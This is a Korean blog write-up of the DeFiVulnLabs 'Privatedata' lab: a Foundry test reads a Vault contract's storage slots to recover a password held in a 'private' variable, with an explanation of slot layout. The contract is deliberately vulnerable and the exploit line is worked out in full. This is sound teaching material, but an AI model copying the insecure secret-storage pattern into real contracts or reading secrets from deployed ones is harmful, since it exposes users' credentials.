Web3/BlockChain
[BlockChain] DeFiVulnLabs - Privatedata
Rhenus
2023. 2. 7. 02:47
반응형
Privatedata
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
contract ContractTest is Test {
Vault VaultContract;
function testReadprivatedata() public {
VaultContract = new Vault(123456789);
bytes32 leet = vm.load(address(VaultContract), bytes32(uint256(0)));
emit log_uint(uint256(leet));
// users in slot 1 - length of array
// starting from slot hash(1) - array elements
// slot where array element is stored = keccak256(slot)) + (index * elementSize)
// where slot = 1 and elementSize = 2 (1 (uint) + 1 (bytes32))
bytes32 user = vm.load(address(VaultContract), VaultContract.getArrayLocation(1,1,1));
emit log_uint(uint256(user));
}
}
contract Vault {
// slot 0
uint256 private password;
constructor(uint256 _password) {
password = _password;
User memory user = User({id: 0, password: bytes32(_password)});
users.push(user);
idToUser[0] = user;
}
struct User {
uint id;
bytes32 password;
}
// slot 1
User[] public users;
// slot 2
mapping(uint => User) public idToUser;
function getArrayLocation(
uint slot,
uint index,
uint elementSize
) public pure returns (bytes32) {
uint256 a= uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
return bytes32(a);
}
}
코드 test 결과이다.
123456789가 두 번 나온다.
Trace를 분석해보자.
Vault Contract = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Vault의 password = 123456789(0x75bcd15)
Vault(123456789)를 넣으면 password = _password 로 설정 된다.
그리고 User는 {id: 0, password: 123456789}가 된다.
코드를 보면 load(address _address, bytes32, slot);로 adress의 slot를 return한다.
vm.load(address(VaultContract), VaultContract.getArrayLocation(1,1,1));는 slot = 1, index = 1, elementSize = 2로 slot는 1의 2번째 인자를 추출하는 것이다. 그러면 slot1은 user이고 element의 2번째 인자는 password이다. 그래서 똑같이 123456789가 나온다.
이 문제는 Storage문제로 아무리 private로 변수를 지정해놨어도 Storage에 들어가는 값은 slot에 저장되어 진다.
따라서 solidity의 getStorageAt(address, index)를 사용하면 해당 slot의 값을 확인할 수 있다.
Vulnerability
uint256 private password;
exploit
bytes32 user = vm.load(address(VaultContract), VaultContract.getArrayLocation(1,1,1));
반응형